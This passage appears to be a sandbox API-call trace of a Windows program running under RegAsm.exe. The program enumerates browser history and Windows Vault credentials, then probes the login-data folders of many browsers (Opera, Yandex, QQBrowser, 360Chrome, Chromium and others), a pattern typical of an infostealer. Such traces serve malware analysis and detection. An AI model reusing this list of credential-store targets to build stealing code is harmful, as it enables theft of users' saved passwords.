"c:\\users\\aetadzjz\\appdata\\local\\temp\\637041563908370000_d3625fbb-19c3-4284-a122-f008796776d0.db"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0207.253] GetLastError () returned 0x0 [0207.253] GetFileType (hFile=0x380) returned 0x1 [0207.253] GetFileType (hFile=0x380) returned 0x1 [0207.253] ReadFile (in: hFile=0x380, lpBuffer=0x26c784c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ce6cc, lpOverlapped=0x0 | out: lpBuffer=0x26c784c*, lpNumberOfBytesRead=0x3ce6cc*=0x1000, lpOverlapped=0x0) returned 1 [0207.253] GetLastError () returned 0x0 [0207.254] ReadFile (in: hFile=0x380, lpBuffer=0x26c784c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ce6cc, lpOverlapped=0x0 | out: lpBuffer=0x26c784c*, lpNumberOfBytesRead=0x3ce6cc*=0x1000, lpOverlapped=0x0) returned 1 [0207.254] GetLastError () returned 0x0 [0207.254] ReadFile (in: hFile=0x380, lpBuffer=0x26c784c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ce6cc, lpOverlapped=0x0 | out: lpBuffer=0x26c784c*, lpNumberOfBytesRead=0x3ce6cc*=0x1000, lpOverlapped=0x0) returned 1 [0207.254] GetLastError () returned 0x0 [0207.255] ReadFile (in: hFile=0x380, lpBuffer=0x26c784c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ce6cc, lpOverlapped=0x0 | out: lpBuffer=0x26c784c*, lpNumberOfBytesRead=0x3ce6cc*=0x1000, lpOverlapped=0x0) returned 1 [0207.255] GetLastError () returned 0x0 [0207.353] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe.Config", nBufferLength=0x105, lpBuffer=0x3ce1a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe.Config", lpFilePart=0x0) returned 0x3f [0207.353] GetLastError () returned 0x0 [0207.353] SetErrorMode (uMode=0x1) returned 0x0 [0207.353] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe.Config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\regasm.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x3ce650 | out: lpFileInformation=0x3ce650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaff53b3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdaff53b3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xaa818efc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0xb5)) returned 1 [0207.353] GetLastError () returned 0x0 [0207.353] SetErrorMode (uMode=0x0) returned 0x1 [0207.503] IIDFromString (in: lpsz="{3C374A40-BAE4-11CF-BF7D-00AA006946EE}", lpiid=0x3ce044 | out: lpiid=0x3ce044) returned 0x0 [0207.504] CoGetClassObject (in: rclsid=0x601e6c*(Data1=0x3c374a40, Data2=0xbae4, Data3=0x11cf, Data4=([0]=0xbf, [1]=0x7d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x69, [6]=0x46, [7]=0xee)), dwClsContext=0x15, pvReserved=0x0, riid=0x7444a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cdfac | out: ppv=0x3cdfac*=0x70e25498) returned 0x0 [0207.620] IUnknown:QueryInterface (in: This=0x70e25498, riid=0x74537ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3cdddc | out: ppvObject=0x3cdddc*=0x0) returned 0x80004002 [0207.621] IClassFactory:CreateInstance (in: This=0x70e25498, pUnkOuter=0x0, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cde14 | out: ppvObject=0x3cde14*=0x602e50) returned 0x0 [0207.626] IUnknown:QueryInterface (in: This=0x602e50, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cdbb8 | out: ppvObject=0x3cdbb8*=0x602e50) returned 0x0 [0207.626] IUnknown:QueryInterface (in: This=0x602e50, riid=0x744e4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x3cdb74 | out: ppvObject=0x3cdb74*=0x0) returned 0x80004002 [0207.626] IUnknown:AddRef (This=0x602e50) returned 0x4 [0207.626] CoGetContextToken (in: pToken=0x3cda00 | out: pToken=0x3cda00) returned 0x0 [0207.626] CoGetContextToken (in: pToken=0x3cd9c4 | out: pToken=0x3cd9c4) returned 0x0 [0207.626] IUnknown:QueryInterface (in: This=0x5992f0, riid=0x744e3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cd9f8 | out: ppvObject=0x3cd9f8*=0x5992fc) returned 0x0 [0207.626] IComThreadingInfo:GetCurrentApartmentType (in: This=0x5992fc, pAptType=0x3cda28 | out: pAptType=0x3cda28*=3) returned 0x0 [0207.626] IUnknown:Release (This=0x5992fc) returned 0x1 [0207.626] IUnknown:QueryInterface (in: This=0x602e50, riid=0x743c23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cd9e8 | out: ppvObject=0x3cd9e8*=0x0) returned 0x80004002 [0207.626] CoGetContextToken (in: pToken=0x3cd9f8 | out: pToken=0x3cd9f8) returned 0x0 [0207.626] IUnknown:AddRef (This=0x602e50) returned 0x5 [0207.626] IUnknown:QueryInterface (in: This=0x602e50, riid=0x7441767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cda6c | out: ppvObject=0x3cda6c*=0x0) returned 0x80004002 [0207.627] IUnknown:Release (This=0x602e50) returned 0x4 [0207.627] IUnknown:Release (This=0x602e50) returned 0x3 [0207.627] IUnknown:Release (This=0x70e25498) returned 0x1 [0207.627] IUnknown:Release (This=0x602e50) returned 0x2 [0207.627] CoGetContextToken (in: pToken=0x3cdf04 | out: pToken=0x3cdf04) returned 0x0 [0207.627] IIDFromString (in: lpsz="{AFA0DC11-C313-11D0-831A-00C04FD5AE38}", lpiid=0x3cdf40 | out: lpiid=0x3cdf40) returned 0x0 [0207.627] CoGetContextToken (in: pToken=0x3cdec4 | out: pToken=0x3cdec4) returned 0x0 [0207.627] IUnknown:AddRef (This=0x602e50) returned 0x3 [0207.627] IUnknown:QueryInterface (in: This=0x602e50, riid=0x3cdf40*(Data1=0xafa0dc11, Data2=0xc313, Data3=0x11d0, Data4=([0]=0x83, [1]=0x1a, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0xae, [7]=0x38)), ppvObject=0x3cdf3c | out: ppvObject=0x3cdf3c*=0x602e50) returned 0x0 [0207.628] IUnknown:Release (This=0x602e50) returned 0x3 [0207.628] IUnknown:Release (This=0x602e50) returned 0x2 [0207.628] CoGetContextToken (in: pToken=0x3cdedc | out: pToken=0x3cdedc) returned 0x0 [0207.628] CoGetContextToken (in: pToken=0x3cde9c | out: pToken=0x3cde9c) returned 0x0 [0207.628] IUnknown:AddRef (This=0x602e50) returned 0x3 [0207.629] IUnknown:QueryInterface (in: This=0x602e50, riid=0x3cdf18*(Data1=0xafa0dc11, Data2=0xc313, Data3=0x11d0, Data4=([0]=0x83, [1]=0x1a, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0xae, [7]=0x38)), ppvObject=0x3cdf14 | out: ppvObject=0x3cdf14*=0x602e50) returned 0x0 [0207.629] IUnknown:Release (This=0x602e50) returned 0x3 [0207.629] IUnknown:AddRef (This=0x602e50) returned 0x4 [0207.630] IUrlHistoryStg:EnumUrls (in: This=0x602e50, ppenum=0x3ce040 | out: ppenum=0x3ce040*=0x619ef0) returned 0x0 [0207.633] CoGetContextToken (in: pToken=0x3cd788 | out: pToken=0x3cd788) returned 0x0 [0207.633] CoGetContextToken (in: pToken=0x3cd74c | out: pToken=0x3cd74c) returned 0x0 [0207.633] IUnknown:QueryInterface (in: This=0x5992f0, riid=0x744e3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cd780 | out: ppvObject=0x3cd780*=0x5992fc) returned 0x0 [0207.633] IComThreadingInfo:GetCurrentApartmentType (in: This=0x5992fc, pAptType=0x3cd7b0 | out: pAptType=0x3cd7b0*=3) returned 0x0 [0207.633] IUnknown:Release (This=0x5992fc) returned 0x1 [0207.633] CoGetContextToken (in: pToken=0x3cd780 | out: pToken=0x3cd780) returned 0x0 [0207.634] IUnknown:Release (This=0x602e50) returned 0x4 [0207.634] CoGetContextToken (in: pToken=0x3cdf04 | out: pToken=0x3cdf04) returned 0x0 [0207.634] IIDFromString (in: lpsz="{3C374A42-BAE4-11CF-BF7D-00AA006946EE}", lpiid=0x3cdf40 | out: lpiid=0x3cdf40) returned 0x0 [0207.634] CoGetContextToken (in: pToken=0x3cdec4 | out: pToken=0x3cdec4) returned 0x0 [0207.639] CoGetContextToken (in: pToken=0x3cdebc | out: pToken=0x3cdebc) returned 0x0 [0207.639] CoGetContextToken (in: pToken=0x3cde7c | out: pToken=0x3cde7c) returned 0x0 [0207.734] CoGetContextToken (in: pToken=0x3cdeec | out: pToken=0x3cdeec) returned 0x0 [0207.734] IUnknown:AddRef (This=0x602e50) returned 0x5 [0207.734] IUrlHistoryStg:EnumUrls (in: This=0x602e50, ppenum=0x3ce050 | out: ppenum=0x3ce050*=0x624150) returned 0x0 [0207.734] IUnknown:QueryInterface (in: This=0x624150, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cd950 | out: ppvObject=0x3cd950*=0x624150) returned 0x0 [0207.734] IUnknown:QueryInterface (in: This=0x624150, riid=0x744e4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x3cd90c | out: ppvObject=0x3cd90c*=0x0) returned 0x80004002 [0207.734] IUnknown:QueryInterface (in: This=0x624150, riid=0x74410b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3cd800 | out: ppvObject=0x3cd800*=0x0) returned 0x80004002 [0207.735] IUnknown:AddRef (This=0x624150) returned 0x3 [0207.735] CoGetContextToken (in: pToken=0x3cd798 | out: pToken=0x3cd798) returned 0x0 [0207.735] CoGetContextToken (in: pToken=0x3cd75c | out: pToken=0x3cd75c) returned 0x0 [0207.735] IUnknown:QueryInterface (in: This=0x5992f0, riid=0x744e3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cd790 | out: ppvObject=0x3cd790*=0x5992fc) returned 0x0 [0207.735] IComThreadingInfo:GetCurrentApartmentType (in: This=0x5992fc, pAptType=0x3cd7c0 | out: pAptType=0x3cd7c0*=3) returned 0x0 [0207.735] IUnknown:Release (This=0x5992fc) returned 0x1 [0207.735] IUnknown:QueryInterface (in: This=0x624150, riid=0x743c23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cd780 | out: ppvObject=0x3cd780*=0x0) returned 0x80004002 [0207.735] CoGetContextToken (in: pToken=0x3cd790 | out: pToken=0x3cd790) returned 0x0 [0207.735] IUnknown:AddRef (This=0x624150) returned 0x4 [0207.735] IUnknown:QueryInterface (in: This=0x624150, riid=0x7441767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cd804 | out: ppvObject=0x3cd804*=0x0) returned 0x80004002 [0207.735] IUnknown:Release (This=0x624150) returned 0x3 [0207.735] IUnknown:Release (This=0x624150) returned 0x2 [0207.736] IUnknown:Release (This=0x624150) returned 0x1 [0207.736] IUnknown:Release (This=0x602e50) returned 0x5 [0207.736] CoGetContextToken (in: pToken=0x3cdf10 | out: pToken=0x3cdf10) returned 0x0 [0207.736] CoGetContextToken (in: pToken=0x3cded0 | out: pToken=0x3cded0) returned 0x0 [0207.736] IUnknown:AddRef (This=0x624150) returned 0x2 [0207.736] IUnknown:QueryInterface (in: This=0x624150, riid=0x3cdf4c*(Data1=0x3c374a42, Data2=0xbae4, Data3=0x11cf, Data4=([0]=0xbf, [1]=0x7d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x69, [6]=0x46, [7]=0xee)), ppvObject=0x3cdf48 | out: ppvObject=0x3cdf48*=0x624150) returned 0x0 [0207.736] IUnknown:Release (This=0x624150) returned 0x2 [0207.736] IUnknown:Release (This=0x624150) returned 0x1 [0207.738] CoGetContextToken (in: pToken=0x3cdeec | out: pToken=0x3cdeec) returned 0x0 [0207.738] CoGetContextToken (in: pToken=0x3cdeac | out: pToken=0x3cdeac) returned 0x0 [0207.738] IUnknown:AddRef (This=0x624150) returned 0x2 [0207.738] IUnknown:QueryInterface (in: This=0x624150, riid=0x3cdf28*(Data1=0x3c374a42, Data2=0xbae4, Data3=0x11cf, Data4=([0]=0xbf, [1]=0x7d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x69, [6]=0x46, [7]=0xee)), ppvObject=0x3cdf24 | out: ppvObject=0x3cdf24*=0x624150) returned 0x0 [0207.739] IUnknown:Release (This=0x624150) returned 0x2 [0207.739] IUnknown:AddRef (This=0x624150) returned 0x3 [0207.739] IEnumSTATURL:Next (in: This=0x624150, celt=0x1, rgelt=0x59f2f8, pceltFetched=0x27363b4*=0x0 | out: rgelt=0x59f2f8, pceltFetched=0x27363b4*=0x0) returned 0x1 [0207.739] IUnknown:Release (This=0x624150) returned 0x2 [0207.741] CoGetContextToken (in: pToken=0x3cdfc8 | out: pToken=0x3cdfc8) returned 0x0 [0207.741] IUnknown:Release (This=0x602e50) returned 0x4 [0207.741] IUnknown:Release (This=0x602e50) returned 0x3 [0207.756] VaultEnumerateVaults () returned 0x0 [0208.358] VaultOpenVault () returned 0x0 [0208.359] VaultEnumerateItems () returned 0x0 [0208.360] VaultOpenVault () returned 0x0 [0208.360] VaultEnumerateItems () returned 0x0 [0208.373] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x5ec490 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0208.375] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x3ce538, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0208.375] GetLastError () returned 0x3f0 [0208.375] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x5ec490 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x0 [0208.375] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x3ce538, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming", lpFilePart=0x0) returned 0x21 [0208.376] GetLastError () returned 0x3f0 [0208.384] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Apple\\Apple Application Support\\plutil.exe", nBufferLength=0x105, lpBuffer=0x3ce56c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Apple\\Apple Application Support\\plutil.exe", lpFilePart=0x0) returned 0x4e [0208.384] GetLastError () returned 0x3f0 [0208.384] SetErrorMode (uMode=0x1) returned 0x0 [0208.384] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Apple\\Apple Application Support\\plutil.exe" (normalized: "c:\\program files (x86)\\common files\\apple\\apple application support\\plutil.exe"), fInfoLevelId=0x0, lpFileInformation=0x3ce9ec | out: lpFileInformation=0x3ce9ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.384] GetLastError () returned 0x3 [0208.384] SetErrorMode (uMode=0x0) returned 0x1 [0208.395] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x5ec490 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x0 [0208.395] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x3ce504, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local", lpFilePart=0x0) returned 0x1f [0208.395] GetLastError () returned 0x3f0 [0208.395] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Tencent\\QQBrowser\\User Data", nBufferLength=0x105, lpBuffer=0x3ce56c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Tencent\\QQBrowser\\User Data", lpFilePart=0x0) returned 0x3b [0208.395] GetLastError () returned 0x3f0 [0208.395] SetErrorMode (uMode=0x1) returned 0x0 [0208.395] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Tencent\\QQBrowser\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\tencent\\qqbrowser\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9ec | out: lpFileInformation=0x3ce9ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.395] GetLastError () returned 0x3 [0208.395] SetErrorMode (uMode=0x0) returned 0x1 [0208.395] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\Default\\EncryptedStorage", nBufferLength=0x105, lpBuffer=0x3ce56c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\Default\\EncryptedStorage", lpFilePart=0x0) returned 0x54 [0208.395] GetLastError () returned 0x3 [0208.395] SetErrorMode (uMode=0x1) returned 0x0 [0208.395] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\Default\\EncryptedStorage" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\tencent\\qqbrowser\\user data\\default\\encryptedstorage"), fInfoLevelId=0x0, lpFileInformation=0x3ce9ec | out: lpFileInformation=0x3ce9ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.395] GetLastError () returned 0x3 [0208.396] SetErrorMode (uMode=0x0) returned 0x1 [0208.396] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x5ec490 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x0 [0208.396] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x3ce568, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming", lpFilePart=0x0) returned 0x21 [0208.396] GetLastError () returned 0x3f0 [0208.397] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data", lpFilePart=0x0) returned 0x48 [0208.397] GetLastError () returned 0x3f0 [0208.397] SetErrorMode (uMode=0x1) returned 0x0 [0208.397] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\opera software\\opera stable\\login data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.397] GetLastError () returned 0x3 [0208.397] SetErrorMode (uMode=0x0) returned 0x1 [0208.398] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data", lpFilePart=0x0) returned 0x3e [0208.398] GetLastError () returned 0x3 [0208.398] SetErrorMode (uMode=0x1) returned 0x0 [0208.398] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\yandex\\yandexbrowser\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.398] GetLastError () returned 0x3 [0208.398] SetErrorMode (uMode=0x0) returned 0x1 [0208.398] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\360Chrome\\Chrome\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\360Chrome\\Chrome\\User Data", lpFilePart=0x0) returned 0x3a [0208.398] GetLastError () returned 0x3 [0208.398] SetErrorMode (uMode=0x1) returned 0x0 [0208.398] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\360Chrome\\Chrome\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\360chrome\\chrome\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.398] GetLastError () returned 0x3 [0208.398] SetErrorMode (uMode=0x0) returned 0x1 [0208.398] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Iridium\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Iridium\\User Data", lpFilePart=0x0) returned 0x31 [0208.398] GetLastError () returned 0x3 [0208.398] SetErrorMode (uMode=0x1) returned 0x0 [0208.398] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Iridium\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\iridium\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.398] GetLastError () returned 0x3 [0208.399] SetErrorMode (uMode=0x0) returned 0x1 [0208.399] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Comodo\\Dragon\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Comodo\\Dragon\\User Data", lpFilePart=0x0) returned 0x37 [0208.399] GetLastError () returned 0x3 [0208.399] SetErrorMode (uMode=0x1) returned 0x0 [0208.399] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Comodo\\Dragon\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\comodo\\dragon\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.399] GetLastError () returned 0x3 [0208.399] SetErrorMode (uMode=0x0) returned 0x1 [0208.399] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\MapleStudio\\ChromePlus\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\MapleStudio\\ChromePlus\\User Data", lpFilePart=0x0) returned 0x40 [0208.399] GetLastError () returned 0x3 [0208.399] SetErrorMode (uMode=0x1) returned 0x0 [0208.399] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\MapleStudio\\ChromePlus\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\maplestudio\\chromeplus\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.400] GetLastError () returned 0x3 [0208.400] SetErrorMode (uMode=0x0) returned 0x1 [0208.400] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data", lpFilePart=0x0) returned 0x32 [0208.400] GetLastError () returned 0x3 [0208.400] SetErrorMode 